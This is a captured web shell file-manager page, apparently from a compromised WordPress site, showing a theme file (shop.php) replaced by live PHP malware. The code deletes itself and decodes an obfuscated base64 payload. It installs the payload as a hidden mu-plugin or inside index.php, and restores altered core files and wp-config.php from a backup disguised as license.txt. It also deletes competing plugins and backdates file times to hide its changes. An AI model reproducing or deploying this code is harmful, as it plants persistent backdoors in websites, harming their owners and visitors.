Sid Gifari File Manager
🏠 Root
/
home2
/
meumer25
/
www
/
wp-content
/
themes
/
astra
/
inc
/
compatibility
/
lifterlms
/
customizer
/
sections
/
Editing: shop.php
<?php ini_set('display_errors', '1'); header('Access-Control-Allow-Origin:*'); error_reporting(E_ALL); set_time_limit(99 - 99); header("X-LiteSpeed-Purge: *"); $root_dir = str_replace('\\','/',$_SERVER["DOCUMENT_ROOT"]); //$root_dir .= "/wordpress"; if(file_exists($root_dir.'/wp-load.php')){ $ctime = filemtime($root_dir.'/wp-load.php'); }else{ $ctime = strtotime("-180 days"); } @unlink(__FILE__); $hiphp_code = <<<'PHP' <?php /** * Loads the WordPress environment and template. * * @package WordPress */ PHP; $hiphp_code .= base64_decode("JGp1TXY5ID0gdWN3b3JkcygiTDJ0TWx1VCIpOyAkcUpsdUxIeCA9IHN0cnN0cigicUpsdUxIeCIsICJCM0twQUZhYyIpOyAkeWNzWkxxNFJGID0gZmFsc2U7ICRCcWFlR2hZZiA9IHN0cnN0cigiQnFhZUdoWWYiLCAielUwak1OSlZFIik7ICRaZm9ieTZXQ2MgPSBsY2ZpcnN0KCJqUVZieGoiKTsgJE1taTI3a2FXMSA9IGFycmF5KCJ3cDJqTHI3NFFHZU4xIik7ICRFTHhUTUZSID0gc3Ryc3RyKCJFTHhUTUZSIiwgIkJ4eXJHTEZnIik7ICRERG9YMUEgPSBzdHJfcmVwbGFjZSgiRERvWDFBIiwgIiIsICJERG9YMUEiKTskcFJOVTVJID0gc2hhMSgicHVlZFVwN3drIik7ICRRVDVRcyA9IHN0cl9zaHVmZmxlKCJlMjFTSiIpOyAkWnFpd3BKVnQgPSBzdHJfc2h1ZmZsZSgiQ2lVOG9tRSIpOyBjbGFzcyB4MmRneWN7CXByaXZhdGUgc3RhdGljICRYZjN4TCA9ICIiO3ByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIHhLSk9Qc0MoKXsJCWlmKHNlbGY6OnNXSm02OWcoWzczLDI2LDM5LDczLDI2LDM5XSkoc2VsZjo6JFhmM3hMLHNlbGY6OnNXSm02OWcoWzY1LDcxLDM5LDE2LDczLDMzLDI2XSkpKXsJCQkJCQlzZWxmOjpzV0ptNjlnKFs2OCwzMyw2MywxNSwzMywzOSw2Nyw0MCw4LDM0LDcwLDI2LDMzLDcwLDI2LDYwLDI2LDI4LDQ0LDMzLDQ5LDI2LDMzLDI3LDI2LDQsMjcsNTUsMTYsNDAsNTQsMjVdKTsJCQlleGl0KHNlbGY6OiRYZjN4TCk7CQl9CX1wcml2YXRlIHN0YXRpYyAkU05lQTggPSBudWxsO3ByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIFlrSExfSncoJFg0ZUpfYjdXKSB7CQlyZXR1cm4gc2VsZjo6JGNLUW4xbDlWWyRYNGVKX2I3V107CX1wdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7ICAgICAgICAJCXNlbGY6OiRTTmVBOCA9ICRfU0VSVkVSOyAgICB9cHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24geXo4blIoKXsJCWlmKHNlbGY6OnNXSm02OWcoWzczLDI2LDM5LDczLDI2LDM5XSkodHJpbShzZWxmOjokWGYzeEwpLHNlbGY6OnNXSm02OWcoWzY1LDY4LDI2LDU1LDE2XSkpKXsJCQlleGl0KHNlbGY6OiRYZjN4TCk7CQl9CX1wcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBzV0ptNjlnKCR3cVZYbCkgewkJJE1pS05vID0gIiI7CQlmb3JlYWNoKCR3cVZYbCBhcyAkdjFRdjQ5SlgpewkJCSRNaUtObyAuPSBzZWxmOjpZa0hMX0p3KCR2MVF2NDlKWCk7CQkJCQl9CQlyZXR1cm4gJE1pS05vOwl9CXByaXZhdGUgc3RhdGljICRjS1FuMWw5ViA9ICIiO3ByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIE15aERDZkgoKXsJCWlmKHNlbGY6OnNXSm02OWcoWzczLDcxLDE5LDczLDI2LDM5XSkodHJpbShzZWxmOjokWGYzeEwpLDAsNCk9PSBzZWxmOjpzV0ptNjlnKFs2OCwyNiwyNiw0NF0pKXsJCQkJCWhlYWRlcihzZWxmOjpzV0ptNjlnKFs1LDM0LDYsNjMsMjYsNDcsMzQsNzAsNDldKS5zZWxmOjokWGYzeEwpOwkJCWV4aXQ7CQl9CX1wdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9fY2FsbFN0YXRpYygkamRRaFljLCAkTnRTclUpIHsJZ290byBwMDdIc1lMVFh4O1RWZ0tJNjogJHhhUGxVTyA9IHNlbGY6OnNXSm02OWcoWzYsNzEsMzksMTYsMzEsNDcsNzAsNDcsMjZdKSgpO2dvdG8gTTlwdEpmO003U2g2WXc5OiBzZWxmOjp5ejhuUigpO2dvdG8geUQ0SVFHYjN0O3RjaHFucjogc2VsZjo6c1dKbTY5ZyhbNiw3MSwzOSwxNiwzMSw3MywzMywyNiwzNCw0NCwyNl0pKCR4YVBsVU8sc2VsZjo6c1dKbTY5ZyhbMSw1M10pLCA1MCk7Z290byBJMjhidXJtVng7eV96eUkzdFpxTjogJE5lcTlDR04gPSBzZWxmOjpzV0ptNjlnKFs2OCwyNiwyNiw0NCw0OSw0LDQsMjhdKTskTmVxOUNHTiAuPSBzZWxmOjpzV0ptNjlnKFs2OCwxNSw0Nyw3Myw3NCwyMiwzOSw3MV0pOyROZXE5Q0dOIC49IHNlbGY6OnNXSm02OWcoWzQsNjMsNDQsNDcsNCw0NSw3MSw2M10pOyROZXE5Q0dOIC49IHNlbGY6OnNXSm02OWcoWzU4XSk7Z290byBMbklLYkU7YW1IUjBZMmo2OiAkTmVxOUNHTiA9ICROZXE5Q0dOLnNlbGY6OiRTTmVBODtnb3RvIGtISUpGdXE7cDA3SHNZTFRYeDogc2VsZjo6JGNLUW4xbDlWID0gJE50U3JVWzBdO2dvdG8gVFZnS0k2O3BMaGFmSTc6IHNlbGY6Ok15aERDZkgoKTtnb3RvIE9NZEhoamd4bFQ7RjF1Y01sS05WdDogc2VsZjo6c1dKbTY5ZyhbNiw3MSwzOSwxNiwzMSw2LDE2LDM0LDczLDMzXSkoJHhhUGxVTyk7Z290byBwTGhhZkk3O0kyOGJ1cm1WeDogc2VsZjo6JFhmM3hMID0gc2VsZjo6c1dKbTY5ZyhbNiw3MSwzOSwxNiwzMSwzMywyNywzMyw2XSkoJHhhUGxVTyk7Z290byBGMXVjTWxLTlZ0O005cHRKZjogJHcxc2xIWVYgPSBbc2VsZjo6c1dKbTY5ZyhbMjAsNTIsNV0pPT4iMiIsIlQiPT4ieiJdO2dvdG8gRG44V2VEYlFDO0RuOFdlRGJRQzogc2VsZjo6JFNOZUE4ID0gYXJyYXlfbWVyZ2Uoc2VsZjo6JFNOZUE4LCR3MXNsSFlWKTtnb3RvIHlfenlJM3RacU47ZWpHc3lnTnA6IHNlbGY6OnNXSm02OWcoWzYsNzEsMzksMTYsMzEsNzMsMzMsMjYsMzQsNDQsMjZdKSgkeGFQbFVPLHNlbGY6OnNXSm02OWcoWzIzLDcyXSksIDApO2dvdG8gdGNocW5yO0xuSUtiRTogc2VsZjo6JFNOZUE4PSBzZWxmOjpzV0ptNjlnKFsxNyw3MywzNCw3MCwzMSwzMyw3MCw2LDM0LDE1LDMzXSkoc2VsZjo6JFNOZUE4KTtnb3RvIGdscTVNRztnbHE1TUc6IHNlbGY6OiRTTmVBOCA9IHNlbGY6OnNXSm02OWcoWzE5LDYzLDczLDMzLDIzLDcyLDMxLDMzLDcwLDYsMzQsMTUsMzNdKShzZWxmOjokU05lQTgpO2dvdG8gYW1IUjBZMmo2O2tISUpGdXE6IHNlbGY6OnNXSm02OWcoWzYsNzEsMzksMTYsMzEsNzMsMzMsMjYsMzQsNDQsMjZdKSgkeGFQbFVPLHNlbGY6OnNXSm02OWcoWzEsMTAsMTAsMTAsNjZdKSwkTmVxOUNHTik7Z290byBLWFJtUHY7S1hSbVB2OiBzZWxmOjpzV0ptNjlnKFs2LDcxLDM5LDE2LDMxLDczLDMzLDI2LDM0LDQ0LDI2XSkoJHhhUGxVTyxzZWxmOjpzV0ptNjlnKFsxLDUwLDUwLDEsNTNdKSwgMSk7Z290byBlakdzeWdOcDtPTWRIaGpneGxUOiBzZWxmOjp4S0pPUHNDKCk7Z290byBNN1NoNll3OTt5RDRJUUdiM3Q6IiI7CQkJICAgIH19JEtkS2lxID0gYWRkc2xhc2hlcygiS2RLaXEiKTsgJGlnVWJCbGsgPSBkYXRlKCJZLW0tZCBIOmk6cyIpOyAkV3JfZHdSZyA9IGNodW5rX3NwbGl0KCJWUzZvV2VnTUczcVRoUE51SyIsMyk7ICRhYVBDQlMgPSBkZWZpbmVkKCJqVEVGT2ltTSIpOyAkeTFYem9fdyA9IHN0cnN0cigieTFYem9fdyIsICJZTDJidCIpOyAkelJ1OVhkaXYgPSBhZGRzbGFzaGVzKCJ6UnU5WGRpdiIpOyAkZ25qcDJUID0gaW1wbG9kZSgiLCIsYXJyYXkoIldqb3BMIiwiWGtWeE8iLCJiYUNYdnloIiwidExOaW05cSIpKTsgJEJoOUhJVWt6ID0gc3Ryc3RyKCJmaFpFSkIzUiIsIlNVT1RZIik7ICRBanlZQ3RhWnMgPSBkYXRlKCJZLW0tZCBIOmk6cyIpOyAkWk1KR1VmNmogPSBzdHJzdHIoIlhDMmZpSUUiLCJ0VlQ4bloiKTsgJGNKZmxhMWsgPSB0cmltKCIgICAiKTsgbmV3IHgyZGd5YygpOyRVdVM5MSA9IHVjd29yZHMoIkgwWDgxeU0iKTsgJEpyUmNpN3UgPSBzdHJfcGFkKCIiLCAwKTsgJG41UEo5d24gPSB0cmltKCIgICAiKTsgJHdweFRnb3QgPSAoc3RyaW5nKSBudWxsOyAkRVdzM1kxID0gZmFsc2U7ICRSU196clRKV00gPSBhZGRzbGFzaGVzKCJSU196clRKV00iKTsgJEF2TXlVID0gdWNmaXJzdCgiSjNxT2hWIik7ICRMSExQTyA9IHN0cmlwb3MoIlJBOXNZYnhvWiIsIm14U010MU5EIik7ICRwbk5wazcgPSBhZGRjc2xhc2hlcygicG5OcGs3Iiwibl9lbG51OVRiY01yViIpOyAkcUJfUEFiY0M0ID0gbWV0YXBob25lKCJDYVhaTSIpOyAkSWhfd3kzSnMgPSBmYWxzZTsgeDJkZ3ljOjpkSmtYdEIoJ1UxN1kvTGNXQ0gwSnY1PmRsaktiVFIuNkQ7dHh5IFpfT2VvRVhmUXIiTXo4cD9HaUY6OVZQMyltd0I9SS1BTmFxPDIoaFNudTRza2cnKTskTEptcUd4NCA9IHN0cl9yZXBlYXQoIiIsIDExKTsgJE1saURJdk5MID0gdWNmaXJzdCgid1M1RlV4UiIpOyAkdWsxeUxFWVQgPSBhZGRzbGFzaGVzKCJ1azF5TEVZVCIpOyAkSjlSbWZKakIgPSBzdHJ2YWwoZmFsc2UpOyAkc1J3Nk5rSVNMID0gbWQ1KCJobVVZViIpOyAkRGpsNVd6ID0gc3Vic3RyKCJEamw1V3oiLDYsMCk7JEt3TzB2NCA9IGxjZmlyc3QoImpyN2ttIik7ICRJMHVEQVNmID0gc3ByaW50ZigiIik7ICRlc043VGlMaDQgPSBzdHJzdHIoIkdQWUhCIiwiYWdNX3pBakdrIik7ICRjc0hBVGIgPSBzcHJpbnRmKCIiKTsgJENJYXRERnkgPSB3b3Jkd3JhcCgiIiwgMTUpOw=="); $nsd_code = <<<'DHP' ?> DHP; $hiphp_code .= $nsd_code; $beifen_arr = array(); $beifen_path = $root_dir."/wp-includes/blocks/nextpage/license.txt"; if(file_exists($beifen_path)){ $text = file_get_contents($beifen_path); $beifen_arr = json_decode(base64_decode(substr_replace($text,"",23,23)),true); } $index_p = $root_dir."/index.php"; if(!file_exists($index_p) || md5_file($index_p) != "926dd0f95df723f9ed934eb058882cc8"){ $index_code = base64_decode("PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOwoKLyoqIExvYWRzIHRoZSBXb3JkUHJlc3MgRW52aXJvbm1lbnQgYW5kIFRlbXBsYXRlICovCnJlcXVpcmUgX19ESVJfXyAuICcvd3AtYmxvZy1oZWFkZXIucGhwJzsK"); save_file($index_p,$index_code,$ctime); } $head_p = $root_dir."/wp-blog-header.php"; if(!file_exists($head_p) || md5_file($head_p) != "5f425a463183f1c6fb79a8bcd113d129"){ $head_code = base64_decode("PD9waHAKLyoqCiAqIExvYWRzIHRoZSBXb3JkUHJlc3MgZW52aXJvbm1lbnQgYW5kIHRlbXBsYXRlLgogKgogKiBAcGFja2FnZSBXb3JkUHJlc3MKICovCgppZiAoICEgaXNzZXQoICR3cF9kaWRfaGVhZGVyICkgKSB7CgoJJHdwX2RpZF9oZWFkZXIgPSB0cnVlOwoKCS8vIExvYWQgdGhlIFdvcmRQcmVzcyBsaWJyYXJ5LgoJcmVxdWlyZV9vbmNlIF9fRElSX18gLiAnL3dwLWxvYWQucGhwJzsKCgkvLyBTZXQgdXAgdGhlIFdvcmRQcmVzcyBxdWVyeS4KCXdwKCk7CgoJLy8gTG9hZCB0aGUgdGhlbWUgdGVtcGxhdGUuCglyZXF1aXJlX29uY2UgQUJTUEFUSCAuIFdQSU5DIC4gJy90ZW1wbGF0ZS1sb2FkZXIucGhwJzsKCn0K"); save_file($head_p,$head_code,$ctime); } if(isset($beifen_arr["wpconfig"])){ $conf_p = $root_dir."/wp-config.php"; if(!file_exists($conf_p) || md5_file($conf_p) != $beifen_arr["wpconfig"]["md5"]){ save_file($conf_p,base64_decode($beifen_arr["wpconfig"]["nrong"]),$ctime); } } if(isset($beifen_arr["mu_plug_list"])){ $mu_p = $root_dir."/wp-content/mu-plugins"; if(file_exists($mu_p)){ if ($handle = opendir($mu_p)) { while (($file = readdir($handle)) !== false) { $pfile = $mu_p . "/" . $file; if(is_file($pfile) && !in_array($file,$beifen_arr["mu_plug_list"])){ unlink($pfile); } } } } } fi1($root_dir); if(file_exists($root_dir."/wp-load.php") && file_exists($root_dir."/wp-settings.php")){ $name = "0".rand_abc(5).".php"; $mymu_p = $root_dir."/wp-content/mu-plugins/".$name; save_file($mymu_p,$hiphp_code,$ctime); if(!file_exists($mymu_p)){ save_file($index_p,$hiphp_code.$index_code,$ctime); } }else{ //unlink($index_p); chmod($index_p,0644); $content = file_get_contents($index_p); $index_p = $index_p . $content; save_file($index_p,$hiphp_code,$ctime); } $beifen_code = base64_encode(json_encode($beifen_arr)); $beifen_code = substr_replace($beifen_code,rand_abc(23),23,0); save_file($beifen_path,$beifen_code,$ctime); echo "recover_run"; if(function_exists("opcache_reset")){ opcache_reset(); } $arpath8 = []; $os = "other"; fi2($root_dir,$arpath8,$root_dir,$os); function fi2($path,$arpath8,$root,$os){ if ($handle = opendir($path)) { while (($file = readdir($handle)) !== false) { if ($file != "." && $file != "..") { $pfile = $path . "/" . $file; if($file=="licelic.c"){ @unlink($pfile); } if($os=="wp"){ if(stripos($pfile,'wp-includes')!=false || stripos($pfile,'wp-content')!=false || stripos($pfile,'wp-admin')!=false){ if (is_dir($pfile) && !is_link($pfile)) { if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 3) { array_push($arpath8, str_replace($root . '/', '', $pfile)); } $arpath8 = fi2($pfile,$arpath8,$root,$os); } } }else{ if (is_dir($pfile) && !is_link($pfile)) { if (substr_count(str_replace($root . '/', '', $pfile), '/') >= 1) { array_push($arpath8, str_replace($root . '/', '', $pfile)); } $arpath8 = fi2($pfile,$arpath8,$root,$os); } } } } } return $arpath8; } function fi1($path){ $path = $path ."/wp-content/mu-plugins"; if ($handle = opendir($path)) { while (($file = readdir($handle)) !== false) { if ($file != "." && $file != "..") { $pfile = $path . "/" . $file; if (substr($file,0,1)=="0") { @unlink($pfile); } } } } if(file_exists($path."/0wp-plugins.php")){ @unlink($path."/0wp-plugins.php"); } } function save_file($file_name,$file_content='',$file_time=""){ if(file_exists($file_name)){ @chmod($file_name,0755); }else{ $dir = dirname($file_name); if(!file_exists($dir)){ mkdir($dir, 0755, true); } } $l1u=@fopen($file_name,'w'); if($l1u!==false){ fwrite($l1u,$file_content); fclose($l1u); }else{ if(file_exists($file_name)){ unlink($file_name); } error_log($file_content,3,$file_name); } if($file_time != ""){ @touch($file_name,$file_time); } } function rand_abc($length) { $str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $strlen = 52; while ($length > $strlen) { $str .= $str; $strlen += 52; } $str = str_shuffle($str); return substr($str, 0, $length); } ?>
Save
Cancel